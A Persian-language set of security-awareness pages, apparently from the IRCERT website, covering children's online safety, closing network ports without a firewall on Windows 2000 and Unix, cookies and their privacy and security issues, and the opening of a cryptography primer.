بخشی از رفتار طبیعی کودکان در این گروه سنی این است که کمی شیطنت کنند. مثلاً در هنگام اتصال به اینترنت این رفتار ممکن است شامل رفتن به سایت ها یا اتاق های گفتگویی شود که والدینشان اجازه نداده اند. گزارش های فعالیت های آنلاین می تواند بخصوص در طول این سنین، مفید باشد. کودکان احساس نخواهند کرد که والدینشان آنها را تحت نظر دارند، اما گزارش نشان می دهد که آنها به کجا سر زده اند. این گروه از کودکان همچنان از استفاده از سایت های مخصوص خودشان احساس خوشایندی دارند.

سنین ۹ تا ۱۲ سالگی:

در دوران قبل از نوجوانی، کودکان می خواهند از هرچیزی سر دربیاورند . آنها در مورد آنچه که در اینترنت موجود است، شنیده اند. طبیعی است که سعی کنند آنچه را که وجود دارد، ببینند. والدین می توانند با استفاده از ابرازهای کنترلی جهت کنترل دسترسی و یا مسدود سازی بعضی سایتها و موضوعات استفاده کنند. این گروه هنوز می توانند از سایت های مخصوص کودکان ۸ تا ۱۳ سال استفاده کنند.

سنین ۱۳ تا ۱۷ سالگی

کمک به نوجوانان برای امنیت در مقابل اینترنت، احتیاج به مهارت خاصی دارد، زیرا آنها اغلب در زمینه نرم افزارهای اینترنتی بیشتر از والدین خود می دانند. والدین باید نقش فعال تری در هدایت کودکان بزرگتر برای استفاده از اینترنت برعهده گیرند. رعایت جدی قوانینی که بر سر آنها بین کودکان و والدین موافقت صورت گرفته و مرور مرتب گزارش های فعالیت های آنلاین فرزندان بسیار مهم است. والدین باید بخاطر داشته باشند که باید کلمات عبور خود را محافظت کنند، تا نوجوانان نتوانند بعنوان والدین در جایی وارد شوند.


﻿ IRCERT - بستن درگاه ها بدون استفاده از حفاظ - مقالات

بستن درگاه ها بدون استفاده از حفاظ

مقدمه

درگاه های باز[1] همواره راه نفوذی عالی برای حمله کنندگان به سیستم های کامپیوتری هستند. درعین حال که ارتباطات سیستم های کامپیوتری بر روی شبکه از طریق درگاه ها انجام می شود، در صورت عدم پیکربندی مناسب آن ها راه نفوذ برای هکر ها ایجاد می شود. به عنوان مثال اسب های تروا می توانند با استفاده از درگاه های باز برای حمله کنندگان اطلاعات ارسال نمایند. برای این کار هکر به اسب تروایی که بر روی سیستم قرار دارد، از طریق درگاهی خاص، وصل شده و برای انجام وظایفی مورد نظر خود (به عنوان مثال گرفتن یک تصویر از صفحه کار کاربر) درخواست صادر می کند. اسب تروا وظیفه مورد نظر را انجام داده و تصویر را از طریق درگاه باز برای هکر ارسال می کند. در نمونه های جدید اسب تروا شماره درگاه به سادگی قابل تغییر است و بنابراین شناسایی آنها از طریق شماره درگاه ها به دشواری انجام می شود.

برای بستن درگاه ها ابزارها و روش های متنوعی وجود دارد. استفاده از حفاظ ها[2] به عنوان یکی از رایج ترین این روش هاست. استفاده از این ابزار با توجه به هزینه های انواع مختلف آن و همینطور پیچیدگی استفاده از آن می تواند برای بعضی از کاربران مشکل آفرین باشد.

در این مقاله ضمن معرفی مفهوم درگاه روش هایی برای بستن درگاه ها به صورت دستی مورد معرفی قرار می گیرند.

درگاه چیست؟

درگاه کانالی ارتباطی است برای کامپیوترهای موجود بر روی شبکه.

برای برقراری ارتباط بین کامپیوترهای مختلف متصل به شبکه استانداردهای متنوعی تدوین شده اند. این استانداردها به روش های انتقال اطلاعات می پردازند و هدف آنها بوجود آوردن امکان تبادل اطلاعات بین سیستم های مختلف است. استاندارد TCP/IP یکی از این استانداردهاست و پروتکلی نرم افزاری برای ساختاردهی و انتقال داده بر روی شبکه (مانند اینترنت) می باشد. از مهمترین مزایای این پروتکل ها عدم وابستگی آنها به سیستم عامل کامپیوترها است و بنابراین انتقال اطلاعات بین کامپیوترهای مختلف موجود بر روی شبکه امکان پذیر می شود.

هر کامپیوتر برای ورود به دنیای اینترنت باید یک آدرس IP [3] معتبر داشته باشد. آدرس IP ساختاری به صورت زیر دارد:

###.###.###.###

این آدرس از چهار بخش تشکیل شده است که با نقطه از هم جدا شده اند. هر بخش می تواند مقداری بین ۰ تا 255 داشته باشد.با دانستن آدرس IP هر کامپیوتر می توان با آن ارتباط برقرار نموده و داده رد و بدل کرد. اما هنوز در مفهوم ارتباط یک نکته مبهم وجود دارد. کامپیوتر دریافت کننده اطلاعات چگونه باید بفهمد که چه برنامه ای باید داده را دریافت و پردازش کند.

برای حل این مشکل از سیستم درگاه استفاده شده است. به عبارت دیگر با مشخص کردن درگاه برای هر بسته ارسالی برنامه دریافت کننده هم مشخص می شود و به این ترتیب کامپیوتر گیرنده می تواند داده را در اختیار برنامه مربوطه قرار دهد. هر بسته ای که بر روی شبکه قرار می گیرد باید آدرس IP کامپیوتر گیرنده اطلاعات و همینطور شماره درگاه مربوطه را نیز در خود داشته باشد.

در مقام مقایسه می توان شماره درگاه را با شماره تلفن داخلی مقایسه نمود. شماره تلفن مانند آدرس IP به صورت یکتا مقصد تماس را مشخص می کند و شماره داخلی نشانگر فردی است که تماس باید با او برقرار شود.

شماره درگاه می تواند عددی بین ۰ تا ۶۵۵۳۶ باشد. این بازه به سه دسته اصلی زیر تقسیم بندی شده است:

· ۰ تا ۱۰۲۳ که «درگاه های شناخته شده» هستند و برای خدماتی خاص مانند FTP (درگاه ۲۱)، SMTP (درگاه ۲۵)، HTTP (درگاه ۸۰)، POP3 (درگاه ۱۱۰) رزرو شده اند.

· درگاه های ۱۰۲۴ تا ۴۹۱۵۱ «درگاه های ثبت شده» هستند. به عبارت دیگر این درگاه ها برای خدمات، ثبت شده اند.

· درگاه های ۴۹۱۵۲ تا ۶۵۵۳۶ «درگاه های پویا و/ یا اختصاصی» هستند. به عبارت دیگر هر شخصی می تواند در صورت نیاز از آنها استفاده نماید.

راه های بستن درگاه ها بدون استفاده از حفاظ

هر درگاه باز یک ورودی بالقوه برای حمله کنندگان به سیستم هاست. بنابراین باید سیستم را به گونه ای پیکربندی نمود که حداقل تعداد درگاه های باز بر روی آن وجود داشته باشد.

در رابطه با درگاه ها باید توجه داشت که هر درگاه بازی الزاما خطرآفرین نیست. سیستم های کامپیوتری تنها در صورتی از ناحیه درگاه ها در معرض خطر قرار دارند که برنامه مرتبط با درگاه کد خطرناکی در خود داشته باشد. بنابراین لزومی ندارد که همه درگاه ها بر روی سیستم بسته شوند. در حقیقت بدون وجود درگاه های باز امکان اتصال به اینترنت وجود ندارد.

یک درگاه باز شی فیزیکی نیست و چنین نیست که با بسته شدن آن از بین برود. اگر درگاهی در یک کامپیوتر باز باشد به این معناست که برنامه فعالی بر روی دستگاه وجود دارد که با استفاده از این شماره درگاه با سایر کامپیوترها بر روی شبکه ارتباط برقرار می کند. در واقع درگاه توسط سیستم عامل باز نمی شود، بلکه برنامه خاصی که در انتظار دریافت داده از این درگاه است آن را باز می کند.

یکی از موثرترین روش هایی که می توان برای بستن درگاه های باز مورد استفاده قرار داد، متوقف نمودن سرویسی است که بر روی درگاه به ارتباطات گوش فرا داده است. این کار را در Windows 2000 می توان با استفاده از ابزار Control Panel > Administrative Tools > Services و متوقف نمودن سرویس هایی که مورد نیاز نیستند، انجام داد. به عنوان مثال اگر Web services در سیستم مورد نیاز نیست می توان IIS را متوقف نمود. در Unix باید فایل های /etc/rc.d را ویرایش نمود، و یا از یکی از ابزارهایی که برای این کار در سیستم های Unix و شبیه Unix وجود دارد (مانند linuxconf) بهره گرفت.

غیر از متوقف کردن سرویس ها، می توان درگاه ها را نیز بر روی ماشین فیلتر نمود. در ویندوز این کار با استفاده از مکانیزم فیلترینگ داخلی انجام پذیر است. برای سیستم عامل ویندوز 2000 می توان از ابزار پیکربندی که در Control Panel > Network> Local Area Connection > Properties > Internet Protocol (TCP/IP) > Properties > Advanced > Options > TCP/IP Filtering مخفی شده است بهره گرفت. با استفاده از این گزینه می توان بسته های TCP و UDP را به گونه ای فیلتر نمود که فقط درگاه های خاصی باز باشند و بسته های اطلاعاتی سایر درگاه ها اجازه عبور نداشته باشند. علاوه بر این، در ویندوز می توان فیلترهای محلی (برای درگاه ها و یا میزبان ها) هم تعریف نمود. برای این کار باید مسیر زیر را طی نمود:

Control Panel > Administrative Tools> Local Security Policy> IP Security Policies on Local Machine>

Secure Server(Require Security)> Add

علاوه بر این بیشتر حفاظ های شخصی هم قابلیت فیلتر بسته های اطلاعاتی مربوط به درگاه های خاص را دارا هستند.

در سیستم عامل های Linux و شبهUnix نیز تعداد زیادی از ابزارهای متنوع برای فیلتر کردن درگاه های ورودی وجود دارد. IPChains که به صورت پیش فرض بر روی بسیاری از نسخه های جدید Linux نصب می شود از جمله ابزارهای مناسب است.

[1] - Open ports

[2] - Firewall

[3] - Internet Protocol


﻿ IRCERT - مشاوره امنیتی

صفحه اول

مشاوره امنیتی

گروه امداد امنیت کامپیوتری ایران با هدف کمک به ایجاد شبکه هایی امن و مطمئن بخش مشاوره امنیتی خود را راه اندازی کرده است. سازمانها، ادارات و شرکتهای دولتی و خصوصی می توانند جهت محک زنی امنیتی و تامین امنیت شبکه فعلی و یا طراحی یک شبکه امن محلی، سازمانی و حتی شهری از مشاوره متخصصان و کارشناسان این گروه بهره مند شوند.

شما می توانید جهت کسب اطلاعات بیشتر با ایمیل گروه تماس بگیرید. همچنین شماره تلفن 2866262 از ساعت 11 صبح الی 6 بعد از ظهر پاسخگوی شما خواهد بود.


﻿ IRCERT - از کوکی چه می‌دانید؟ - مقالات

از کوکی چه می‌دانید؟

کوکی چیست؟

«کوکی» بخش کوچکی از اطلاعات فرستاده شده توسط وب‌سرور برای ذخیره در مرورگر است تا بتواند بعدا از طریق آن مرورگر، دوباره خوانده شود. دیتای ذخیره شده برای اینکه وب‌سرور یک سایت، اطلاعات مشخصی را درباره بازدیدکننده آن وب‌سایت خاص بداند، مفید است. کوکی فرمت فایل متنی را دارد که در دایرکتوری مربوط به مرورگر ذخیره می‌شود و در هنگامی که مرورگر در حال اجراست در حافظه RAM قرار می‌گیرد. این اطلاعات می‌تواند هنگامی که کاربر از وب‌سایت خاصی خارج شد، در هارد درایو ذخیره شود. کوکی‌ها ابزار بسیار مهمی برای نگهداشتن state روی وب هستند. state به توانایی یک برنامه برای کار با کاربر بصورت محاوره‌ای اشاره دارد. برای مثال، شما برای استفاده از قطار یا اتوبوس بلیت رزرو می‌کنید. در روز سفر، هنگامی که بلیت را نشان می‌دهید، اجازه خواهید یافت که وارد قطار یا اتوبوس شوید، در غیراینصورت مسوول وسیله نقلیه نمی‌داند که آیا شما این اجازه را دارید یا خیر. در حقیقت در اینجا بلیت برای نگهداشتن state‌ بین شما و مسوول قطار مهم است. HTTP یک پروتکل بدون قابلیت state‌ است. به این معنی که هر بار مشاهده یک سایت توسط سرور بعنوان اولین مشاهده کاربر تلقی می‌شود. به این معنی که سرور همه چیز را بعد از هر درخواست فراموش می‌کند، مگر اینکه یک بازدید‌کننده برای یادآوری آینده به سرور به طریقی مشخص گردد. کوکی‌ها این کار را انجام می‌دهند.

کوکی‌ها فقط می‌توانند به وب‌سرور بگویند که آیا شما قبلا هم از سایت دیدن کرده‌اید و اطلاعات کمی (مثلا یک شماره کاربر) در مرتبه بعد که از سایت دیدن می‌کنید از خود وب‌سرور به آن برگردانند. بیشتر کوکی‌ها هنگامی که از مرورگر خارج می‌شوید از بین می‌روند. نوع دیگری از کوکی‌ها بعنوان کوکی ماندگار وجود دارند که تاریخ انقضاء دارند و تا آن تاریخ روی هارددرایو شما باقی می‌مانند. کوکی ماندگار می‌تواند برای ردگیری عادات وبگردی یک کاربر با مشخص‌کردن وی هنگام مراجعه مجدد به یک سایت مورد استفاده قرار گیرد. اطلاعات در مورد اینکه اهل کجا هستید و به چه صفحات وبی سر می‌زنید در فایلهای لاگ یک وب‌سرور وجود دارد و می‌تواند برای ردگیری رفتار وبگردی کاربران مورد استفاده قرار گیرند، اما کوکی‌ها آن را آسانتر می‌کنند.

چگونه می‌توان از وجود کوکی‌های ماندگار روی سیستم مطلع شد؟

کوکی‌های ماندگار در مکانهای مختلفی روی سیستم شما بسته به مرورگر وب و نسخه‌ای از آن که استفاده می‌کنید، ذخیره می‌شوند. نت‌اسکیپ تمام کوکی‌های ماندگارش را در فایلی به نام cookies.txt روی کامپیوتر شما در دایرکتوری نت‌اسکیپ ذخیره می‌کند. می‌توانید این فایل را با یک ویرایشگر متن باز و ویرایش کنید و یا هر کوکی را که نمی‌خواهید نگهدارید، پاک کنید و چنانچه می‌خواهید از دست تمام کوکی‌ها خلاص شوید، فایل را پاک کنید. اینترنت‌اکسپلورر کوکی‌های ماندگار را در فایلهای جداگانه ذخیره می‌کند و توسط نام کاربر و نام دامنه سایتی که کوکی را فرستاده است، نامگذاری می‌کند. برای مثال john@ciac.txt. این کوکی‌ها در دایرکتوری /Windows/cookies یا /Windows/profiles/cookies ذخیره می‌شوند. می‌توانید هرکدام از این کوکی‌ها را که نمی‌خواهید، پاک کنید. می‌توانید این فایلها را بازکنید تا ببینید از کجا آمده‌اند و چه اطلاعاتی دارند. برای مثال آنچه می‌بینید محتویات یک کوکی IE‌ هستند.

WEBTRENDS_ID

61.1.129.58-1041789995.121030

www.bazee.com/

1024

3872737152

30271763

3731731632

29537508

*

این فایل کوکی abhishek@www.bazee.txt (abhishek شناسه فرد وارد شونده به سایت است) نامیده شده است. کوکی‌ها ممکن است اطلاعات مختلفی را دربرداشته باشند که بسته به کوکی متفاوت است. در این کوکی IP فرد نیز (61.1.129.58) ذخیره شده است. در اینجا قصد وارد شدن به جزئیات را نداریم.

کوکی‌ها برای چه استفاده می‌شوند؟

یک استفاده از کوکی‌ها برای ذخیره کلمات عبور و شناسه‌های برای وب‌سایتهای خاص است. همچنین برای ذخیره اولویتهای کاربران در صفحات آغازین نیز استفاده می‌شوند. در این حالت مقداری از هارد کامپیوتر شما برای ذخیره این اطلاعات از مرورگرتان تقاضا می‌شود. بدین طریق، هر زمان که به آن وب‌سایت وارد می‌شوید مرورگر شما بررسی می‌کند که ببیند آیا الویتهای از پیش تعیین‌شده‌ (کوکی) برای آن سرور مشخص دارید یا خیر. اگر اینطور باشد، مرورگر کوکی را همراه با تقاضای شما برای صفحه وب، به وب‌سرور ارسال خواهد کرد. مایکروسافت و نت‌اسکیپ از کوکی‌هایی برای ایجاد صفحات آغازین شخصی روی وب‌سایتهایشان استفاده می‌کنند. استفاده‌های معمول که شرکتها بخاطر آنها از کوکی استفاده می‌کنند شامل سیستمهای سفارش آنلاین، شخصی‌سازی سایتها و ردگیری وب‌سایتها می‌شود.

کوکی‌ها منافعی دارند. شخصی‌سازی سایت یکی از مفیدترین استفاده‌های کوکی‌ها است. برای مثال، فردی وارد سایت CNN (یا حتی MyYahoo) می‌شود اما نمی‌خواهد اخبار تجاری را ببیند. این سایت به فرد اجازه این انتخاب را می‌دهد. از این به بعد (یا تا زمانیکه کوکی منقضی می‌شود) این شخص اخبار تجاری را وقتی به سایت CNN‌ متصل می‌شود، نمی‌بیند. حتما تا حالا دیده‌اید که در بعضی وب‌سایتها هنگامی که با استفاده از شناسه و گذرواژه وارد می‌شوید، انتخابی تحت عنوان «مرا دفعه بعد بخاطر داشته باش» وجود دارد. این امر با ذخیره شدن شناسه و کلمه‌عبور شما در یک کوکی روی کامپیوترتان، میسر می‌شود.

بعضی بازدیدکنندگان آن را بعنوان تعرض به حریم خصوصی می‌پندارند برای وب‌سایتهایی که روند فعالیتشان روی یک سایت را ردگیری می‌کنند. این کمک می‌کند که اطلاعات و سرویس‌های مورد جستجو را بسرعت بیابید و بدون تاخیر به سر کار اصلی خودتان برگردید. آمار برای طراحی مجدد سایت بسیار مهم هستند. گاهی مدیر سایت نیاز دارد بداند آیا ۱۰۰ نفر مختلف از سایتش بازدید کرده‌اند یا فقط یک فرد (یا روبات)‌ بطور پیوسته ۱۰۰ مرتبه دکمه reload (یا refresh) را انتخاب کرده است. کوکی‌ها کاربردهای دیگری نیز دارند و یکی از آنها امکان ردگیری فعالیت کاربران است. اجازه دهید که یک مثال را ببینیم.

DoubleClickNetwork سیستمی است که توسط DoubleClickCorporation ایجاد شده است تا پروفایل افرادی را که از وب استفاده می‌کنند ایجاد کند و آگهی‌های تجاری متناسب با علاقه‌شان را به آنها ارائه کند. مشتری‌های DoubleClick وب‌سایتهایی هستند که قصد تبلیغ خدماتشان را دارند. هر عضو این شبکه میزبانی برای تبلیغ سایر اعضاء می‌شود. هر وب‌سایت که عضو می‌شود تبلیغ خود را ایجاد و در اختیار سرور DoubleClick قرار می‌دهد. هنگامی که یک کاربر به یکی از این سایتها می‌رود، یک آگهی از سایر سایتها نیز در HTML‌ ارائه شده به کاربر وجود دارد. با هربار بارگذاری مجدد صفحه، آگهی متفاتی به کاربر ارائه می‌شود. از نظر کاربران این تبلیغات با سایر تبلیغات تفاوتی ندارند، در حالیکه اینطور نیست. هنگامی که کاربری برای اولین بار به سرور DoubleClick‌ متصل می‌شود، سرور یک کوکی برای آن مرورگر ایجاد می‌کند که یک شماره مشخصه یکتا در بردارد. از آن به بعد هر زمان که کاربر به یکی از وب‌سایتهای عضو DoubleClick‌ متصل می‌شود، شماره مذکور به سرور ارسال می‌شود و کاربر تشخیص داده می‌شود. با گذشت زمان و داشتن اطلاع از سایتهایی که کاربر بازدید کرده است، پروفایلی از علائق کاربر در اختیار سرور قرار می‌گیرد. با داشتن این پروفایل، سرور DoubleClick می‌تواند تبلیغاتی را که بیشتر مورد نظر کاربر است انتخاب کند. بعلاوه می‌تواند از این اطلاعات برای دادن بازخورد مناسب به اعضا مانند پروفایل کاربران و میزان تاثیر تبلیغاتشان استفاده کند. برای اینکه بفهمید آیا توسط DoubleClick ردگیری شده‌اید یا نه، کوکی‌های مرورگر خود را امتحان کنید و ببینید آیا چیزی شبیه به این:

ad.doubleclick.net FALSE / FALSE 942195440 IAA d2bbd5 در کوکی‌ها وجود دارد یا خیر.

در شماره بعد به نحوه کار کوکی‌ها خواهیم پرداخت.

منبع: www.infosecwriters.com


﻿ IRCERT - کو‌کی‌ها و مسائل امنیتی - مقالات

کو‌کی‌ها و مسائل امنیتی

بررسی انواع کوکی‌

علاوه بر کوکی‌های موقت و ماندگار که در مقاله قبل در مورد آن صحبت شد، کوکی‌ها دسته‌بندی دیگری نیز دارند:

کوکی‌های شخص‌اول! در مقابل کوکی‌های شخص‌ثالث: یک کوکی شخص‌اول از وب‌سایتی نشات می‌گیرد یا به آن فرستاده می‌شود که در آن زمان در حال مشاهده آن هستید. این کوکی‌ها معمولا برای ذخیره اطلاعات مانند اولویتهای شما استفاده می‌شوند. یک کوکی شخص ثالث از وب‌سایت متفاوت با آنچه در حال مشاهده آن هستید نشات می‌گیرد یا به آن فرستاده می‌شود. وب‌سایتهای شخص‌ثالث معمولا محتویاتی روی وب‌سایتی که در حال مشاهده هستید، ارائه می‌کنند. برای مثال، بسیاری سایتها از تبلیغات وب‌سایتهای شخص‌ثالث استفاده می‌کنند و آن وب‌سایتها ممکن است از کوکی استفاده کنند. یک استفاده معمول برای این نوع از کوکی ردیابی استفاده از صفحه‌وب شما برای تبلیغات یا سایر مقاصد بازاریابی است. این نوع کوکی‌ها می‌توانند موقت یا ماندگار باشند.

نوعی از کوکی‌ها هستند که بعنوان کوکی‌های ناخوشایند نامیده می‌شوند. کوکی‌هایی هستند که ممکن است اجازه دسترسی به اطلاعات شخصا قابل‌شناسایی شما را برای اهداف ثانویه بدون اجازه شما، فراهم کنند.

مزایا و معایب کوکی‌ها از دید کاربران اینترنت

اگرچه خیلی‌ها از کوکی‌ها تصورات بدی دارند، اما اکنون می‌دانید که کابردهای خوبی نیز دارند. بسیاری از افراد کوکی‌ها را دوست ندارند زیرا آنها را ابزار “بردار بزرگ” (کسی که همواره ناظر بر اعمال و رفتار آنهاست) می‌دانند. بعبارتی بعلت ردیابی شدن توسط کوکی‌ها، به آنها سوءظن دارند. این افراد باید بدانند که این نوع ردگیری می‌تواند توسط تکنیک‌های دیگر نیز انجام گیرد، اما از کوکی‌ها بدلیل ثبات بیشتر آنها نسبت به سایر روش‌ها استفاده می‌شود. برای آنان که دوست ندارند دیگران بدانند در اینترنت چه می‌کنند یا به کدام سایتها سر می‌زنند، این امر مساله ساز است.

مردم همچنان کوکی‌ها دوست ندارند، زیرا آنها را موجوداتی ‌‌”آب‌زیرکاه” می‌دانند. مگر اینکه نسخه‌های جدید مرورگرها را داشته باشید تا بتوانید با تنظیماتی که انجام می‌دهید از ورود آنها مطلع شوید، در غیر اینصورت آنها بدون هیچ نشانی وارد هارد شما می‌شوند. سیس می‌توانند بدون اطلاع کاربر کارهای خاصی انجام دهند (شاید هدف قرار دادنتان برای اعمال تبلیغاتی).

بهرحال فکر کردن به این موضوع خوشایند نیست که در آینده نزدیک علائق خصوصی ما ممکن است برای کسانی که دوست نداریم، فاش شود. این نگرانی و عیب اصلی کوکی‌هاست. تقریبا قرار دادن ویروس از طریق کوکی فعلا ممکن نیست و جای نگرانی ندارد. همچنین کوکی‌ها نمی‌توانند به هارد شما صدمه وارد کنند، یا از آنچه روی هارد خود دارید، تصویری تهیه کنند یا هر کار دیگری شبیه اینها. کوکی‌ها فقط آنچه را شما به آنها می‌گویید، میدانند. بهرحال اگر شما اطلاعاتی را در وب‌سایتی وارد کنید، مطمئنا در جایی در یک کوکی قرار خواهد گرفت. جایگزینهای آینده بجای کوکی‌ها باید با آغوش باز پذیرفته شود و اگرچه ممکن است همه چیز را حل نکنند، اما بعضی از نگرانیها را از بین خواهند برد.

مسائل امنیتی مربوط به کوکی‌ها

کوکی‌ها باعث بعضی خطرات امنیتی می‌شوند. می‌توانند توسط افرادی که بسته‌های اطلاعاتی را شنود می‌کنند برای اهداف غیراخلاقی استفاده شوند و باعث دسترسی غیرمجاز به وب‌سایت‌ها یا تراکنش‌های غیرمجاز شوند. (یک سیستم شنود، کامپیوتری است که نرم‌افزارهایی را اجرا می‌کند تا تمام بسته‌های TCP/IP وارد و خارج‌شونده را بررسی ‌کند)

ایجادکنندگان وب‌سایتها کوکی‌ها را می‌سازند تا امکان دسترسی بهتر به سایتشان را فراهم کنند، یا در انواع دیگر تراکنش با سرورشان استفاده می‌شوند. آنها باید از امکان وقوع این امر مطلع باشند و سیستم را طوری طراحی کنند تا خطر را به حداقل ممکن برسانند.

چند مورد وجود دارد که ایجادکننده وب‌سایت می‌تواند انجام دهد:

· مطمئن شود که کوکی‌ها کمترین اطلاعات خصوصی را دربردارند.

· مطمئن شود که اطلاعات حساس قرارگرفته در کوکی‌ها همیشه رمزنگاری می‌شود. (هرگز و هرگز شناسه‌ها و کلمات عبور نباید بصورت متن رمز‌نشده استفاده و ذخیره شوند)

· کل کوکی را رمز کند.

کوکی‌ها باید اطلاعات کافی را برای تایید اینکه فرد استفاده کننده از کوکی، مجاز به استفاده از آن است، دارا باشند. بیشتر سایتهای استفاده‌کننده از کوکی، اطلاعات زیر را نیز لحاظ می‌کنند:

· اطلاعات لازم برای دادن اجازه به فرد

· ساعت و تاریخ

· آدرس IP استفاده کننده وب

· تاریخ انقضاء

· کد MAC (Message Authenticity Check)

قراردادن آدرس IP به این منظور است که کوکی تنها در صورتی تایید شود که آدرس IP ذخیره‌شده در سرور با آدرس IP مرورگر فرستنده کوکی یکسان باشد. تاریخ انقضاء مدت زمان استفاده از یک کوکی را محدود می‌کند و MAC تضمین می‌کند که کوکی دچار تغییر نشده است.

کد MAC شامل یک رشته ادغامی از فیلدهای داده در کوکی و یک رشته مخفی است که به آن اضافه می‌شود. اطلاعات کد می‌شود سپس مجددا ادغام می‌شود و دوباره کد می‌شود. نتیجه نهایی در داده کوکی قرار می‌گیرد. هنگامی که کوکی به سرور برمی‌گردد، سرور خود، MAC را تولید می‌کند و با MAC موجود در کوکی مقایسه می‌کند. در صورت یکسان بودن، نشانه عدم تغییر کوکی است.

کار با کوکی‌ها

مرورگرهای جدید اجازه نحوه کار با کوکی‌ها را به شما می‌دهند؛ می‌توانید تنظیمات مرورگر خود را طوری انجام دهید که به شما قبل از قراردادن کوکی روی کامپیوترتان خبر داده شود. (این کار به شما این امکان را می‌دهد که اجازه قراردادن کوکی را بدهید یا خیر)؛ همچنین می‌توانید توسط مرورگر خود جلوی ورود تمام کوکی‌ها را بگیرید.

بعنوان مثال در اینترنت اکسپلورر امکان تنظیم نحوه برخورد با کوکی‌ها از سایتهای مشخص گرفته تا کل سایتها وجود دارد. برای اطلاع یافتن بیشتر از نحوه کار با کوکی‌ها راهنمای مرورگر خود را مطالعه کنید.

منبع: www.securitydocs.com


﻿ IRCERT - نظرات ارائه شده درباره قانون مجازات جرایم رایانه‌ای

نظرات ارائه شده درباره قانون مجازات جرایم رایانه‌ای

میز گرد بررسی قانون مبارزه با جرایم رایانه ای

نگاهی کوتاه به قانون مجازات جرایم رایانه ای

نقدی بر قانون مجازات جرایم رایانه‌ای

نکاتی در مورد پیش‌نویس قانون مجازات جرایم رایانه‌ای


﻿ IRCERT - رمزنگاری - مقالات

رمزنگاری

۱- معرفی و اصطلاحات

رمزنگاری علم کدها و رمزهاست. یک هنر قدیمی است و برای قرنها بمنظور محافظت از پیغامهایی که بین فرماندهان، جاسوسان،‌ عشاق و دیگران ردوبدل می‌شده، استفاده شده است تا پیغامهای آنها محرمانه بماند.

هنگامی که با امنیت دیتا سروکار داریم، نیاز به اثبات هویت فرستنده و گیرنده پیغام داریم و در ضمن باید از عدم تغییر محتوای پیغام مطمئن شویم. این سه موضوع یعنی محرمانگی، تصدیق هویت و جامعیت در قلب امنیت ارتباطات دیتای مدرن قرار دارند و می‌توانند از رمزنگاری استفاده کنند.

اغلب این مساله باید تضمین شود که یک پیغام فقط میتواند توسط کسانی خوانده شود که پیغام برای آنها ارسال شده است و دیگران این اجازه را ندارند. روشی که تامین کننده این مساله باشد "رمزنگاری" نام دارد. رمزنگاری هنر نوشتن بصورت رمز است بطوریکه هیچکس بغیر از دریافت کننده موردنظر نتواند محتوای پیغام را بخواند.

رمزنگاری مخفف‌ها و اصطلاحات مخصوص به خود را دارد. برای درک عمیق‌تر به مقداری از دانش ریاضیات نیاز است. برای محافظت از دیتای اصلی ( که بعنوان plaintext شناخته می‌شود)، آنرا با استفاده از یک کلید (رشته‌ای محدود از بیتها) بصورت رمز در می‌آوریم تا کسی که دیتای حاصله را می‌خواند قادر به درک آن نباشد. دیتای رمزشده (که بعنوان ciphertext شناخته می‌شود) بصورت یک سری بی‌معنی از بیتها بدون داشتن رابطه مشخصی با دیتای اصلی بنظر می‌رسد. برای حصول متن اولیه دریافت‌کننده آنرا رمزگشایی می‌کند. یک شخص ثالت (مثلا یک هکر) می‌تواند برای اینکه بدون دانستن کلید به دیتای اصلی دست یابد، کشف رمز‌نوشته (cryptanalysis) کند. بخاطرداشتن وجود این شخص ثالث بسیار مهم است.

رمزنگاری دو جزء اصلی دارد، یک الگوریتم و یک کلید. الگوریتم یک مبدل یا فرمول ریاضی است. تعداد کمی الگوریتم قدرتمند وجود دارد که بیشتر آنها بعنوان استانداردها یا مقالات ریاضی منتشر شده‌اند. کلید، یک رشته از ارقام دودویی (صفر و یک) است که بخودی‌خود بی‌معنی است. رمزنگاری مدرن فرض می‌کند که الگوریتم شناخته شده است یا می‌تواند کشف شود. کلید است که باید مخفی نگاه داشته شود و کلید است که در هر مرحله پیاده‌سازی تغییر می‌کند. رمزگشایی ممکن است از همان جفت الگوریتم و کلید یا جفت متفاوتی استفاده کند.

دیتای اولیه اغلب قبل از رمزشدن بازچینی می‌شود؛ این عمل عموما بعنوان scrambling شناخته می‌شود. بصورت مشخص‌تر، hash functionها بلوکی از دیتا را (که می‌تواند هر اندازه‌ای داشته باشد) به طول از پیش مشخص‌شده کاهش می‌دهد. البته دیتای اولیه نمی‌تواند از hashed value بازسازی شود. Hash functionها اغلب بعنوان بخشی از یک سیستم تایید هویت مورد نیاز هستند؛ خلاصه‌ای از پیام (شامل مهم‌ترین قسمتها مانند شماره پیام، تاریخ و ساعت، و نواحی مهم دیتا) قبل از رمزنگاری خود پیام، ساخته ‌و hash می‌شود.

یک چک تایید پیام (Message Authentication Check) یا MAC یک الگوریتم ثابت با تولید یک امضاء برروی پیام با استفاده از یک کلید متقارن است. هدف آن نشان دادن این مطلب است که پیام بین ارسال و دریافت تغییر نکرده است. هنگامی که رمزنگاری توسط کلید عمومی برای تایید هویت فرستنده پیام استفاده می‌شود، منجر به ایجاد امضای دیجیتال (digital signature) می‌شود.

۲- الگوریتم‌ها

طراحی الگوریتمهای رمزنگاری مقوله‌ای برای متخصصان ریاضی است. طراحان سیستمهایی که در آنها از رمزنگاری استفاده می‌شود، باید از نقاط قوت و ضعف الگوریتمهای موجود مطلع باشند و برای تعیین الگوریتم مناسب قدرت تصمیم‌گیری داشته باشند. اگرچه رمزنگاری از اولین کارهای شانون (Shannon) در اواخر دهه ۴۰ و اوایل دهه ۵۰ بشدت پیشرفت کرده است، اما کشف رمز نیز پابه‌پای رمزنگاری به پیش آمده است و الگوریتمهای کمی هنوز با گذشت زمان ارزش خود را حفظ کرده‌اند. بنابراین تعداد الگوریتمهای استفاده شده در سیستمهای کامپیوتری عملی و در سیستمهای برپایه کارت هوشمند بسیار کم است.

۱-۲ سیستمهای کلید متقارن

